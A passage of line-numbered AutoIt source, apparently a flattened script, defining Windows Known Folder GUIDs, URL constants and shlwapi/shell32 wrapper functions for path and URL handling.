  3282. Global Const $folderid_connectionsfolder = "{6F0CD92B-2E97-45D1-88FF-B0D186B8DEDD}"
  3283. Global Const $folderid_contacts = "{56784854-C6CB-462B-8169-88E350ACB882}"
  3284. Global Const $folderid_controlpanelfolder = "{82A74AEB-AEB4-465C-A014-D097EE346D63}"
  3285. Global Const $folderid_cookies = "{2B0F765D-C0E9-4171-908E-08A611B84FF6}"
  3286. Global Const $folderid_desktop = "{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}"
  3287. Global Const $folderid_devicemetadatastore = "{5CE4A5E9-E4EB-479D-B89F-130C02886155}"
  3288. Global Const $folderid_documentslibrary = "{7B0DB17D-9CD2-4A93-9733-46CC89022E7C}"
  3289. Global Const $folderid_downloads = "{374DE290-123F-4565-9164-39C4925E467B}"
  3290. Global Const $folderid_favorites = "{1777F761-68AD-4D8A-87BD-30B759FA33DD}"
  3291. Global Const $folderid_fonts = "{FD228CB7-AE11-4AE3-864C-16F3910AB8FE}"
  3292. Global Const $folderid_games = "{CAC52C1A-B53D-4EDC-92D7-6B2E8AC19434}"
  3293. Global Const $folderid_gametasks = "{054FAE61-4DD8-4787-80B6-090220C4B700}"
  3294. Global Const $folderid_history = "{D9DC8A3B-B784-432E-A781-5A1130A75963}"
  3295. Global Const $folderid_homegroup = "{52528A6B-B9E3-4ADD-B60D-588C2DBA842D}"
  3296. Global Const $folderid_implicitappshortcuts = "{BCB5256F-79F6-4CEE-B725-DC34E402FD46}"
  3297. Global Const $folderid_internetcache = "{352481E8-33BE-4251-BA85-6007CAEDCF9D}"
  3298. Global Const $folderid_internetfolder = "{4D9F7874-4E0C-4904-967B-40B0D20C3E4B}"
  3299. Global Const $folderid_libraries = "{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}"
  3300. Global Const $folderid_links = "{BFB9D5E0-C6A9-404C-B2B2-AE6DB6AF4968}"
  3301. Global Const $folderid_localappdata = "{F1B32785-6FBA-4FCF-9D55-7B8E7F157091}"
  3302. Global Const $folderid_localappdatalow = "{A520A1A4-1780-4FF6-BD18-167343C5AF16}"
  3303. Global Const $folderid_localizedresourcesdir = "{2A00375E-224C-49DE-B8D1-440DF7EF3DDC}"
  3304. Global Const $folderid_music = "{4BD8D571-6D19-48D3-BE97-422220080E43}"
  3305. Global Const $folderid_musiclibrary = "{2112AB0A-C86A-4FFE-A368-0DE96E47012E}"
  3306. Global Const $folderid_nethood = "{C5ABBF53-E17F-4121-8900-86626FC2C973}"
  3307. Global Const $folderid_networkfolder = "{D20BEEC4-5CA8-4905-AE3B-BF251EA09B53}"
  3308. Global Const $folderid_originalimages = "{2C36C0AA-5812-4B87-BFD0-4CD0DFB19B39}"
  3309. Global Const $folderid_photoalbums = "{69D2CF90-FC33-4FB7-9A0C-EBB0F0FCB43C}"
  3310. Global Const $folderid_pictureslibrary = "{A990AE9F-A03B-4E80-94BC-9912D7504104}"
  3311. Global Const $folderid_pictures = "{33E28130-4E1E-4676-835A-98395C3BC3BB}"
  3312. Global Const $folderid_playlists = "{DE92C1C7-837F-4F69-A3BB-86E631204A23}"
  3313. Global Const $folderid_printersfolder = "{76FC4E2D-D6AD-4519-A663-37BD56068185}"
  3314. Global Const $folderid_printhood = "{9274BD8D-CFD1-41C3-B35E-B13F55A758F4}"
  3315. Global Const $folderid_profile = "{5E6C858F-0E22-4760-9AFE-EA3317B67173}"
  3316. Global Const $folderid_programdata = "{62AB5D82-FDC1-4DC3-A9DD-070D1D495D97}"
  3317. Global Const $folderid_programfiles = "{905E63B6-C1BF-494E-B29C-65B732D3D21A}"
  3318. Global Const $folderid_programfilesx64 = "{6D809377-6AF0-444B-8957-A3773F02200E}"
  3319. Global Const $folderid_programfilesx86 = "{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}"
  3320. Global Const $folderid_programfilescommon = "{F7F1ED05-9F6D-47A2-AAAE-29D317C6F066}"
  3321. Global Const $folderid_programfilescommonx64 = "{6365D5A7-0F0D-45E5-87F6-0DA56B6A4F7D}"
  3322. Global Const $folderid_programfilescommonx86 = "{DE974D24-D9C6-4D3E-BF91-F4455120B917}"
  3323. Global Const $folderid_programs = "{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}"
  3324. Global Const $folderid_public = "{DFDF76A2-C82A-4D63-906A-5644AC457385}"
  3325. Global Const $folderid_publicdesktop = "{C4AA340D-F20F-4863-AFEF-F87EF2E6BA25}"
  3326. Global Const $folderid_publicdocuments = "{ED4824AF-DCE4-45A8-81E2-FC7965083634}"
  3327. Global Const $folderid_publicdownloads = "{3D644C9B-1FB8-4F30-9B45-F670235F79C0}"
  3328. Global Const $folderid_publicgametasks = "{DEBF2536-E1A8-4C59-B6A2-414586476AEA}"
  3329. Global Const $folderid_publiclibraries = "{48DAF80B-E6CF-4F4E-B800-0E69D84EE384}"
  3330. Global Const $folderid_publicmusic = "{3214FAB5-9757-4298-BB61-92A9DEAA44FF}"
  3331. Global Const $folderid_publicpictures = "{B6EBFB86-6907-413C-9AF7-4FC2ABF07CC5}"
  3332. Global Const $folderid_publicringtones = "{E555AB60-153B-4D17-9F04-A5FE99FC15EC}"
  3333. Global Const $folderid_publicvideos = "{2400183A-6185-49FB-A2D8-4A392A602BA3}"
  3334. Global Const $folderid_quicklaunch = "{52A4F021-7B75-48A9-9F6B-4B87A210BC8F}"
  3335. Global Const $folderid_recent = "{AE50C081-EBD2-438A-8655-8A092E34987A}"
  3336. Global Const $folderid_recordedtvlibrary = "{1A6FDBA2-F42D-4358-A798-B74D745926C5}"
  3337. Global Const $folderid_recyclebinfolder = "{B7534046-3ECB-4C18-BE4E-64CD4CB7D6AC}"
  3338. Global Const $folderid_resourcedir = "{8AD10C31-2ADB-4296-A8F7-E4701232C972}"
  3339. Global Const $folderid_ringtones = "{C870044B-F49E-4126-A9C3-B52A1FF411E8}"
  3340. Global Const $folderid_roamingappdata = "{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}"
  3341. Global Const $folderid_samplemusic = "{B250C668-F57D-4EE1-A63C-290EE7D1AA1F}"
  3342. Global Const $folderid_samplepictures = "{C4900540-2379-4C75-844B-64E6FAF8716B}"
  3343. Global Const $folderid_sampleplaylists = "{15CA69B3-30EE-49C1-ACE1-6B5EC372AFB5}"
  3344. Global Const $folderid_samplevideos = "{859EAD94-2E85-48AD-A71A-0969CB56A6CD}"
  3345. Global Const $folderid_savedgames = "{4C5C32FF-BB9D-43B0-B5B4-2D72E54EAAA4}"
  3346. Global Const $folderid_savedsearches = "{7D1D3A04-DEBB-4115-95CF-2F29DA2920DA}"
  3347. Global Const $folderid_search_csc = "{EE32E446-31CA-4ABA-814F-A5EBD2FD6D5E}"
  3348. Global Const $folderid_search_mapi = "{98EC0E18-2098-4D44-8644-66979315A281}"
  3349. Global Const $folderid_searchhome = "{190337D1-B8CA-4121-A639-6D472D16972A}"
  3350. Global Const $folderid_sendto = "{8983036C-27C0-404B-8F08-102D10DCFD74}"
  3351. Global Const $folderid_sidebardefaultparts = "{7B396E54-9EC5-4300-BE0A-2482EBAE1A26}"
  3352. Global Const $folderid_sidebarparts = "{A75D362E-50FC-4FB7-AC2C-A8BEAA314493}"
  3353. Global Const $folderid_startmenu = "{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}"
  3354. Global Const $folderid_startup = "{B97D20BB-F46A-4C97-BA10-5E3608430854}"
  3355. Global Const $folderid_syncmanagerfolder = "{43668BF8-C14E-49B2-97C9-747784D784B7}"
  3356. Global Const $folderid_syncresultsfolder = "{289A9A43-BE44-4057-A41B-587A76D7E7F9}"
  3357. Global Const $folderid_syncsetupfolder = "{0F214138-B1D3-4A90-BBA9-27CBC0C5389A}"
  3358. Global Const $folderid_system = "{1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}"
  3359. Global Const $folderid_systemx86 = "{D65231B0-B2F1-4857-A4CE-A8E7C6EA7D27}"
  3360. Global Const $folderid_templates = "{A63293E8-664E-48DB-A079-DF759E0509F7}"
  3361. Global Const $folderid_userpinned = "{9E3995AB-1F9C-4F13-B827-48B24B6C7174}"
  3362. Global Const $folderid_userprofiles = "{0762D272-C50A-4BB0-A382-697DCD729B80}"
  3363. Global Const $folderid_userprogramfiles = "{5CD7AEE2-2219-4A67-B85D-6C9CE15660CB}"
  3364. Global Const $folderid_userprogramfilescommon = "{BCBD3057-CA5C-4622-B42D-BC56DB0AE516}"
  3365. Global Const $folderid_usersfiles = "{F3CE0F7C-4901-4ACC-8648-D5D44B04EF8F}"
  3366. Global Const $folderid_userslibraries = "{A302545D-DEFF-464B-ABE8-61C8648D939B}"
  3367. Global Const $folderid_videos = "{18989B1D-99B5-455B-841C-AB7C74E4DDFC}"
  3368. Global Const $folderid_videoslibrary = "{491E922F-5643-4AF4-A7EB-4E7A138D8174}"
  3369. Global Const $folderid_windows = "{F38BF404-1D43-42F2-9305-67DE0B28FC23}"
  3370. Global Const $kf_flag_alias_only = -2147483648
  3371. Global Const $kf_flag_create = 32768
  3372. Global Const $kf_flag_dont_verify = 16384
  3373. Global Const $kf_flag_dont_unexpand = 8192
  3374. Global Const $kf_flag_no_alias = 4096
  3375. Global Const $kf_flag_init = 2048
  3376. Global Const $kf_flag_default_path = 1024
  3377. Global Const $kf_flag_no_appcontainer_redirection = 65536
  3378. Global Const $kf_flag_not_parent_relative = 512
  3379. Global Const $kf_flag_simple_idlist = 256
  3380. Global Const $url_scheme_invalid = -1
  3381. Global Const $url_scheme_unknown = 0
  3382. Global Const $url_scheme_ftp = 1
  3383. Global Const $url_scheme_http = 2
  3384. Global Const $url_scheme_gopher = 3
  3385. Global Const $url_scheme_mailto = 4
  3386. Global Const $url_scheme_news = 5
  3387. Global Const $url_scheme_nntp = 6
  3388. Global Const $url_scheme_telnet = 7
  3389. Global Const $url_scheme_wais = 8
  3390. Global Const $url_scheme_file = 9
  3391. Global Const $url_scheme_mk = 10
  3392. Global Const $url_scheme_https = 11
  3393. Global Const $url_scheme_shell = 12
  3394. Global Const $url_scheme_snews = 13
  3395. Global Const $url_scheme_local = 14
  3396. Global Const $url_scheme_javascript = 15
  3397. Global Const $url_scheme_vbscript = 16
  3398. Global Const $url_scheme_about = 17
  3399. Global Const $url_scheme_res = 18
  3400. Global Const $url_scheme_msshellrooted = 19
  3401. Global Const $url_scheme_msshellidlist = 20
  3402. Global Const $url_scheme_mshelp = 21
  3403. Global Const $url_scheme_msshelldevice = 22
  3404. Global Const $url_scheme_wildcard = 23
  3405. Global Const $url_scheme_search_ms = 24
  3406. Global Const $url_scheme_search = 25
  3407. Global Const $url_scheme_knownfolder = 26
  3408. Global Const $gct_invalid = 0
  3409. Global Const $gct_lfnchar = 1
  3410. Global Const $gct_separator = 8
  3411. Global Const $gct_shortchar = 2
  3412. Global Const $gct_wild = 4
  3413. Global Const $url_apply_default = 1
  3414. Global Const $url_apply_guessscheme = 2
  3415. Global Const $url_apply_guessfile = 4
  3416. Global Const $url_apply_forceapply = 8
  3417. Global Const $url_dont_simplify = 134217728
  3418. Global Const $url_escape_as_utf8 = 262144
  3419. Global Const $url_escape_percent = 4096
  3420. Global Const $url_escape_spaces_only = 67108864
  3421. Global Const $url_escape_unsafe = 536870912
  3422. Global Const $url_no_meta = 134217728
  3423. Global Const $url_pluggable_protocol = 1073741824
  3424. Global Const $url_unescape = 268435456
  3425. Global Const $url_part_hostname = 2
  3426. Global Const $url_part_password = 4
  3427. Global Const $url_part_port = 5
  3428. Global Const $url_part_query = 6
  3429. Global Const $url_part_scheme = 1
  3430. Global Const $url_part_username = 3
  3431. Global Const $urlis_appliable = 4
  3432. Global Const $urlis_directory = 5
  3433. Global Const $urlis_fileurl = 3
  3434. Global Const $urlis_hasquery = 6
  3435. Global Const $urlis_nohistory = 2
  3436. Global Const $urlis_opaque = 1
  3437. Global Const $urlis_url = 0
  3438. #Region Functions list
  3439. #EndRegion Functions list
  3440. #Region Public Functions
  3441.  
  3442. Func _winapi_commandlinetoargv($scmd)
  3443. Local $aresult[1] = [0]
  3444. $scmd = StringStripWS($scmd, $str_stripleading + $str_striptrailing)
  3445. If NOT $scmd Then
  3446. Return $aresult
  3447. EndIf
  3448. Local $aret = DllCall("shell32.dll", "ptr", "CommandLineToArgvW", "wstr", $scmd, "int*", 0)
  3449. If @error OR NOT $aret[0] OR (NOT $aret[2]) Then Return SetError(@error + 10, @extended, 0)
  3450. Local $tptr = DllStructCreate("ptr[" & $aret[2] & "]", $aret[0])
  3451. Dim $aresult[$aret[2] + 1] = [$aret[2]]
  3452. For $i = 1 To $aret[2]
  3453. $aresult[$i] = _winapi_getstring(DllStructGetData($tptr, 1, $i))
  3454. Next
  3455. DllCall("kernel32.dll", "handle", "LocalFree", "handle", $aret[0])
  3456. Return $aresult
  3457. EndFunc
  3458.  
  3459. Func _winapi_isnameinexpression($sstring, $spattern, $bcasesensitive = False)
  3460. If NOT $bcasesensitive Then $spattern = StringUpper($spattern)
  3461. Local $tus1 = __us($spattern)
  3462. Local $tus2 = __us($sstring)
  3463. Local $aret = DllCall("ntdll.dll", "boolean", "RtlIsNameInExpression", "struct*", $tus1, "struct*", $tus2, "boolean", NOT $bcasesensitive, "ptr", 0)
  3464. If @error Then Return SetError(@error, @extended, False)
  3465. Return $aret[0]
  3466. EndFunc
  3467.  
  3468. Func _winapi_parseurl($surl)
  3469. Local $tagparsedurl = "dword Size;ptr Protocol;uint cchProtocol;ptr Suffix;uint cchSuffix;uint Scheme"
  3470. Local $tpurl = DllStructCreate($tagparsedurl)
  3471. DllStructSetData($tpurl, 1, DllStructGetSize($tpurl))
  3472. Local $turl = DllStructCreate("wchar[4096]")
  3473. DllStructSetData($turl, 1, $surl)
  3474. Local $aret = DllCall("shlwapi.dll", "long", "ParseURLW", "struct*", $turl, "struct*", $tpurl)
  3475. If @error Then Return SetError(@error, @extended, "")
  3476. If $aret[0] Then Return SetError(10, $aret[0], "")
  3477. Local $aresult[3]
  3478. $aresult[0] = DllStructGetData(DllStructCreate("wchar[" & DllStructGetData($tpurl, 3) & "]", DllStructGetData($tpurl, 2)), 1)
  3479. $aresult[1] = DllStructGetData(DllStructCreate("wchar[" & DllStructGetData($tpurl, 5) & "]", DllStructGetData($tpurl, 4)), 1)
  3480. $aresult[2] = DllStructGetData($tpurl, 6)
  3481. Return $aresult
  3482. EndFunc
  3483.  
  3484. Func _winapi_parseusername($suser)
  3485. If NOT __dll("credui.dll") Then Return SetError(103, 0, 0)
  3486. Local $aret = DllCall("credui.dll", "dword", "CredUIParseUserNameW", "wstr", $suser, "wstr", "", "ulong", 4096, "wstr", "", "ulong", 4096)
  3487. If @error Then Return SetError(@error, @extended, 0)
  3488. Switch $aret[0]
  3489. Case 0
  3490. Case 1315
  3491. If StringStripWS($suser, $str_stripleading + $str_striptrailing) Then
  3492. $aret[2] = $suser
  3493. $aret[4] = ""
  3494. Else
  3495. ContinueCase
  3496. EndIf
  3497. Case Else
  3498. Return SetError(10, $aret[0], 0)
  3499. EndSwitch
  3500. Local $aresult[2]
  3501. $aresult[0] = $aret[4]
  3502. $aresult[1] = $aret[2]
  3503. Return $aresult
  3504. EndFunc
  3505.  
  3506. Func _winapi_pathaddbackslash($sfilepath)
  3507. Local $tpath = DllStructCreate("wchar[260]")
  3508. DllStructSetData($tpath, 1, $sfilepath)
  3509. Local $aret = DllCall("shlwapi.dll", "ptr", "PathAddBackslashW", "struct*", $tpath)
  3510. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3511. Return DllStructGetData($tpath, 1)
  3512. EndFunc
  3513.  
  3514. Func _winapi_pathaddextension($sfilepath, $sext = "")
  3515. Local $tpath = DllStructCreate("wchar[260]")
  3516. DllStructSetData($tpath, 1, $sfilepath)
  3517. Local $stypeofext = "wstr"
  3518. If NOT StringStripWS($sext, $str_stripleading + $str_striptrailing) Then
  3519. $stypeofext = "ptr"
  3520. $sext = 0
  3521. EndIf
  3522. Local $aret = DllCall("shlwapi.dll", "bool", "PathAddExtensionW", "struct*", $tpath, $stypeofext, $sext)
  3523. If @error Then Return SetError(@error, @extended, "")
  3524. Return SetExtended($aret[0], DllStructGetData($tpath, 1))
  3525. EndFunc
  3526.  
  3527. Func _winapi_pathappend($sfilepath, $smore)
  3528. Local $tpath = DllStructCreate("wchar[260]")
  3529. DllStructSetData($tpath, 1, $sfilepath)
  3530. Local $aret = DllCall("shlwapi.dll", "bool", "PathAppendW", "struct*", $tpath, "wstr", $smore)
  3531. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3532. Return DllStructGetData($tpath, 1)
  3533. EndFunc
  3534.  
  3535. Func _winapi_pathbuildroot($idrive)
  3536. Local $aret = DllCall("shlwapi.dll", "ptr", "PathBuildRootW", "wstr", "", "int", $idrive)
  3537. If @error Then Return SetError(@error, @extended, "")
  3538. Return $aret[1]
  3539. EndFunc
  3540.  
  3541. Func _winapi_pathcanonicalize($sfilepath)
  3542. Local $aret = DllCall("shlwapi.dll", "bool", "PathCanonicalizeW", "wstr", "", "wstr", $sfilepath)
  3543. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, $sfilepath)
  3544. Return $aret[1]
  3545. EndFunc
  3546.  
  3547. Func _winapi_pathcommonprefix($spath1, $spath2)
  3548. Local $aret = DllCall("shlwapi.dll", "int", "PathCommonPrefixW", "wstr", $spath1, "wstr", $spath2, "wstr", "")
  3549. If @error Then Return SetError(@error, @extended, "")
  3550. Return SetExtended($aret[0], $aret[3])
  3551. EndFunc
  3552.  
  3553. Func _winapi_pathcompactpath($hwnd, $sfilepath, $iwidth = 0)
  3554. If $iwidth < 1 Then
  3555. Local $trect = DllStructCreate($tagrect)
  3556. DllCall("user32.dll", "bool", "GetClientRect", "hwnd", $hwnd, "struct*", $trect)
  3557. $iwidth += DllStructGetData($trect, "Right") - DllStructGetData($trect, "Left")
  3558. EndIf
  3559. Local $aret = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hwnd)
  3560. If @error OR NOT $aret[0] Then Return SetError(@error + 20, @extended, $sfilepath)
  3561. Local $hdc = $aret[0]
  3562. Local Const $wm_getfont = 49
  3563. $aret = DllCall("user32.dll", "ptr", "SendMessage", "hwnd", $hwnd, "uint", $wm_getfont, "wparam", 0, "lparam", 0)
  3564. Local $hback = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $aret[0])
  3565. Local $ierror = 0
  3566. $aret = DllCall("shlwapi.dll", "bool", "PathCompactPathW", "handle", $hdc, "wstr", $sfilepath, "int", $iwidth)
  3567. If @error OR NOT $aret[0] Then $ierror = @error + 10
  3568. DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hdc, "handle", $hback[0])
  3569. DllCall("user32.dll", "int", "ReleaseDC", "hwnd", $hwnd, "handle", $hdc)
  3570. If $ierror Then Return SetError($ierror, 0, $sfilepath)
  3571. Return $aret[2]
  3572. EndFunc
  3573.  
  3574. Func _winapi_pathcompactpathex($sfilepath, $imax)
  3575. Local $aret = DllCall("shlwapi.dll", "bool", "PathCompactPathExW", "wstr", "", "wstr", $sfilepath, "uint", $imax + 1, "dword", 0)
  3576. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, $sfilepath)
  3577. Return $aret[1]
  3578. EndFunc
  3579.  
  3580. Func _winapi_pathcreatefromurl($surl)
  3581. Local $aret = DllCall("shlwapi.dll", "long", "PathCreateFromUrlW", "wstr", $surl, "wstr", "", "dword*", 4096, "dword", 0)
  3582. If @error Then Return SetError(@error, @extended, "")
  3583. If $aret[0] Then Return SetError(10, $aret[0], "")
  3584. Return $aret[2]
  3585. EndFunc
  3586.  
  3587. Func _winapi_pathfindextension($sfilepath)
  3588. Local $aret = DllCall("shlwapi.dll", "wstr", "PathFindExtensionW", "wstr", $sfilepath)
  3589. If @error Then Return SetError(@error, @extended, "")
  3590. Return $aret[0]
  3591. EndFunc
  3592.  
  3593. Func _winapi_pathfindfilename($sfilepath)
  3594. Local $aret = DllCall("shlwapi.dll", "wstr", "PathFindFileNameW", "wstr", $sfilepath)
  3595. If @error Then Return SetError(@error, @extended, $sfilepath)
  3596. Return $aret[0]
  3597. EndFunc
  3598.  
  3599. Func _winapi_pathfindnextcomponent($sfilepath)
  3600. Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]")
  3601. DllStructSetData($tpath, 1, $sfilepath)
  3602. Local $aret = DllCall("shlwapi.dll", "ptr", "PathFindNextComponentW", "struct*", $tpath)
  3603. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  3604. Return _winapi_getstring($aret[0])
  3605. EndFunc
  3606.  
  3607. Func _winapi_pathfindonpath(Const $sfilepath, $aextrapaths = "", Const $spathdelimiter = @LF)
  3608. Local $iextracount = 0
  3609. If IsString($aextrapaths) Then
  3610. If StringLen($aextrapaths) Then
  3611. $aextrapaths = StringSplit($aextrapaths, $spathdelimiter, $str_entiresplit + $str_nocount)
  3612. $iextracount = UBound($aextrapaths, $ubound_rows)
  3613. EndIf
  3614. ElseIf IsArray($aextrapaths) Then
  3615. $iextracount = UBound($aextrapaths)
  3616. EndIf
  3617. Local $tpaths, $tpathptrs
  3618. If $iextracount Then
  3619. Local $tagstruct = ""
  3620. For $path In $aextrapaths
  3621. $tagstruct &= "wchar[" & StringLen($path) + 1 & "];"
  3622. Next
  3623. $tpaths = DllStructCreate($tagstruct)
  3624. $tpathptrs = DllStructCreate("ptr[" & $iextracount + 1 & "]")
  3625. For $i = 1 To $iextracount
  3626. DllStructSetData($tpaths, $i, $aextrapaths[$i - 1])
  3627. DllStructSetData($tpathptrs, 1, DllStructGetPtr($tpaths, $i), $i)
  3628. Next
  3629. DllStructSetData($tpathptrs, 1, Ptr(0), $iextracount + 1)
  3630. EndIf
  3631. Local $aresult = DllCall("shlwapi.dll", "bool", "PathFindOnPathW", "wstr", $sfilepath, "struct*", $tpathptrs)
  3632. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, $sfilepath)
  3633. Return $aresult[1]
  3634. EndFunc
  3635.  
  3636. Func _winapi_pathgetargs($sfilepath)
  3637. Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]")
  3638. DllStructSetData($tpath, 1, $sfilepath)
  3639. Local $aret = DllCall("shlwapi.dll", "ptr", "PathGetArgsW", "struct*", $tpath)
  3640. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3641. Return _winapi_getstring($aret[0])
  3642. EndFunc
  3643.  
  3644. Func _winapi_pathgetchartype($schar)
  3645. Local $aret = DllCall("shlwapi.dll", "uint", "PathGetCharTypeW", "word", AscW($schar))
  3646. If @error Then Return SetError(@error, @extended, -1)
  3647. Return $aret[0]
  3648. EndFunc
  3649.  
  3650. Func _winapi_pathgetdrivenumber($sfilepath)
  3651. Local $aret = DllCall("shlwapi.dll", "int", "PathGetDriveNumberW", "wstr", $sfilepath)
  3652. If @error OR ($aret[0] = -1) Then Return SetError(@error, @extended, "")
  3653. Return Chr($aret[0] + 65) & ":"
  3654. EndFunc
  3655.  
  3656. Func _winapi_pathiscontenttype($sfilepath, $stype)
  3657. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsContentTypeW", "wstr", $sfilepath, "wstr", $stype)
  3658. If @error Then Return SetError(@error, @extended, False)
  3659. Return $aret[0]
  3660. EndFunc
  3661.  
  3662. Func _winapi_pathisexe($sfilepath)
  3663. Local $aret = DllCall("shell32.dll", "bool", "PathIsExe", "wstr", $sfilepath)
  3664. If @error Then Return SetError(@error, @extended, False)
  3665. Return $aret[0]
  3666. EndFunc
  3667.  
  3668. Func _winapi_pathisfilespec($sfilepath)
  3669. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsFileSpecW", "wstr", $sfilepath)
  3670. If @error Then Return SetError(@error, @extended, False)
  3671. Return $aret[0]
  3672. EndFunc
  3673.  
  3674. Func _winapi_pathislfnfilespec($sfilepath)
  3675. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsLFNFileSpecW", "wstr", $sfilepath)
  3676. If @error Then Return SetError(@error, @extended, False)
  3677. Return $aret[0]
  3678. EndFunc
  3679.  
  3680. Func _winapi_pathisrelative($sfilepath)
  3681. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsRelativeW", "wstr", $sfilepath)
  3682. If @error Then Return SetError(@error, @extended, False)
  3683. Return $aret[0]
  3684. EndFunc
  3685.  
  3686. Func _winapi_pathisroot($sfilepath)
  3687. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsRootW", "wstr", $sfilepath)
  3688. If @error Then Return SetError(@error, @extended, False)
  3689. Return $aret[0]
  3690. EndFunc
  3691.  
  3692. Func _winapi_pathissameroot($spath1, $spath2)
  3693. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsSameRootW", "wstr", $spath1, "wstr", $spath2)
  3694. If @error Then Return SetError(@error, @extended, False)
  3695. Return $aret[0]
  3696. EndFunc
  3697.  
  3698. Func _winapi_pathissystemfolder($sfilepath)
  3699. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsSystemFolderW", "wstr", $sfilepath, "dword", 0)
  3700. If @error Then Return SetError(@error, @extended, False)
  3701. Return $aret[0]
  3702. EndFunc
  3703.  
  3704. Func _winapi_pathisunc($sfilepath)
  3705. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCW", "wstr", $sfilepath)
  3706. If @error Then Return SetError(@error, @extended, False)
  3707. Return $aret[0]
  3708. EndFunc
  3709.  
  3710. Func _winapi_pathisuncserver($sfilepath)
  3711. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCServerW", "wstr", $sfilepath)
  3712. If @error Then Return SetError(@error, @extended, False)
  3713. Return $aret[0]
  3714. EndFunc
  3715.  
  3716. Func _winapi_pathisuncservershare($sfilepath)
  3717. Local $aret = DllCall("shlwapi.dll", "bool", "PathIsUNCServerShareW", "wstr", $sfilepath)
  3718. If @error Then Return SetError(@error, @extended, False)
  3719. Return $aret[0]
  3720. EndFunc
  3721.  
  3722. Func _winapi_pathmakesystemfolder($sfilepath)
  3723. Local $aret = DllCall("shlwapi.dll", "bool", "PathMakeSystemFolderW", "wstr", $sfilepath)
  3724. If @error Then Return SetError(@error, @extended, False)
  3725. Return $aret[0]
  3726. EndFunc
  3727.  
  3728. Func _winapi_pathmatchspec($sfilepath, $sspec)
  3729. Local $aret = DllCall("shlwapi.dll", "bool", "PathMatchSpecW", "wstr", $sfilepath, "wstr", $sspec)
  3730. If @error Then Return SetError(@error, @extended, False)
  3731. Return $aret[0]
  3732. EndFunc
  3733.  
  3734. Func _winapi_pathparseiconlocation($sfilepath)
  3735. Local $aret = DllCall("shlwapi.dll", "int", "PathParseIconLocationW", "wstr", $sfilepath)
  3736. If @error Then Return SetError(@error, @extended, 0)
  3737. Local $aresult[2]
  3738. $aresult[0] = $aret[1]
  3739. $aresult[1] = $aret[0]
  3740. Return $aresult
  3741. EndFunc
  3742.  
  3743. Func _winapi_pathrelativepathto($spathfrom, $bdirfrom, $spathto, $bdirto)
  3744. If $bdirfrom Then
  3745. $bdirfrom = 16
  3746. EndIf
  3747. If $bdirto Then
  3748. $bdirto = 16
  3749. EndIf
  3750. Local $aret = DllCall("shlwapi.dll", "bool", "PathRelativePathToW", "wstr", "", "wstr", $spathfrom, "dword", $bdirfrom, "wstr", $spathto, "dword", $bdirto)
  3751. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3752. Return $aret[1]
  3753. EndFunc
  3754.  
  3755. Func _winapi_pathremoveargs($sfilepath)
  3756. Local $aret = DllCall("shlwapi.dll", "none", "PathRemoveArgsW", "wstr", $sfilepath)
  3757. If @error Then Return SetError(@error, @extended, "")
  3758. Return $aret[1]
  3759. EndFunc
  3760.  
  3761. Func _winapi_pathremovebackslash($sfilepath)
  3762. Local $aret = DllCall("shlwapi.dll", "ptr", "PathRemoveBackslashW", "wstr", $sfilepath)
  3763. If @error Then Return SetError(@error, @extended, "")
  3764. Return $aret[1]
  3765. EndFunc
  3766.  
  3767. Func _winapi_pathremoveextension($sfilepath)
  3768. Local $aret = DllCall("shlwapi.dll", "none", "PathRemoveExtensionW", "wstr", $sfilepath)
  3769. If @error Then Return SetError(@error, @extended, "")
  3770. Return $aret[1]
  3771. EndFunc
  3772.  
  3773. Func _winapi_pathremovefilespec($sfilepath)
  3774. Local $aret = DllCall("shlwapi.dll", "bool", "PathRemoveFileSpecW", "wstr", $sfilepath)
  3775. If @error Then Return SetError(@error, @extended, "")
  3776. Return SetExtended($aret[0], $aret[1])
  3777. EndFunc
  3778.  
  3779. Func _winapi_pathrenameextension($sfilepath, $sext)
  3780. Local $tpath = DllStructCreate("wchar[260]")
  3781. DllStructSetData($tpath, 1, $sfilepath)
  3782. Local $aret = DllCall("shlwapi.dll", "bool", "PathRenameExtensionW", "struct*", $tpath, "wstr", $sext)
  3783. If @error OR NOT $aret[0] Then Return SetError(@error, @extended, "")
  3784. Return DllStructGetData($tpath, 1)
  3785. EndFunc
  3786.  
  3787. Func _winapi_pathsearchandqualify($sfilepath, $bexists = False)
  3788. Local $aret = DllCall("shlwapi.dll", "bool", "PathSearchAndQualifyW", "wstr", $sfilepath, "wstr", "", "int", 4096)
  3789. If @error OR NOT $aret[0] Then Return SetError(@error + 10, @extended, "")
  3790. If $bexists AND NOT FileExists($aret[2]) Then Return SetError(20, 0, "")
  3791. Return $aret[2]
  3792. EndFunc
  3793.  
  3794. Func _winapi_pathskiproot($sfilepath)
  3795. Local $tpath = DllStructCreate("wchar[" & (StringLen($sfilepath) + 1) & "]")
  3796. DllStructSetData($tpath, 1, $sfilepath)
  3797. Local $aret = DllCall("shlwapi.dll", "ptr", "PathSkipRootW", "struct*", $tpath)
  3798. If @error Then Return SetError(@error, @extended, "")
